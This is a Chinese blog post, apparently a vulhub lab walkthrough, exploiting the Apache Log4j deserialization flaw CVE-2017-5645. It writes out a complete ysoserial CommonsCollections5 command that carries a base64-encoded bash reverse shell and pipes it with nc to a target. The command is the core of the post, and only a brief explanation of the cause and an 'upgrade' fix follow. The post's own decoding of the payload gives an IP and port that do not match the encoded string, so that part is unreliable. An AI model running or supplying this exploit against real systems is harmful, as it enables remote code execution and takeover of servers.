Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

vuluhub搭建靶场

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

Release v0.0.6 · frohoff/ysoserial · GitHub

下载后打包成jar文件进行使用。

通过jar文件执行系统命令

创建一个文件看看

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

试试反弹shell,这个要对被反弹语句进行给base64加密

如何构造pyload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.201.128 4712

bash -c:这个选项告诉 Bash 执行后面的一系列命令。
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
{base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
{bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

成功拿到shell

涉及一下原理

主要是因为log4j的序列号机制,处理外来序列化数据时候。如果数据是恶意pyload,就会触发不安全的反序列化操作,导致名命令执行漏洞,通过java的流泪有关

CVE-2017-5645漏洞的产生源于Log4j的序列化机制。当Log4j处理来自外部的序列化数据时,如果数据经过恶意修改,可能会触发不安全的反序列化操作,进而导致攻击者执行任意代码。这种漏洞的产生通常与Java的ObjectInputStream类有关,该类在处理序列化数据时存在安全风险。
 

修复方法,升级版本

jian

kang

最近更新

  1. TCP协议是安全的吗?

    2024-04-24 10:32:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-24 10:32:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-24 10:32:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-24 10:32:04       20 阅读

热门阅读

  1. 用Python编写一个简单的数字累加器 数字累加器

    2024-04-24 10:32:04       12 阅读
  2. Linux CentOS 7 服务器集群硬件常用查看命令

    2024-04-24 10:32:04       11 阅读
  3. Quest 2 VR程序读取本地图片

    2024-04-24 10:32:04       12 阅读
  4. 标准化,信息化,数字化,智能化

    2024-04-24 10:32:04       14 阅读
  5. 在微信小程序部署AI模型的几种方法

    2024-04-24 10:32:04       14 阅读
  6. C# 异步编程

    2024-04-24 10:32:04       14 阅读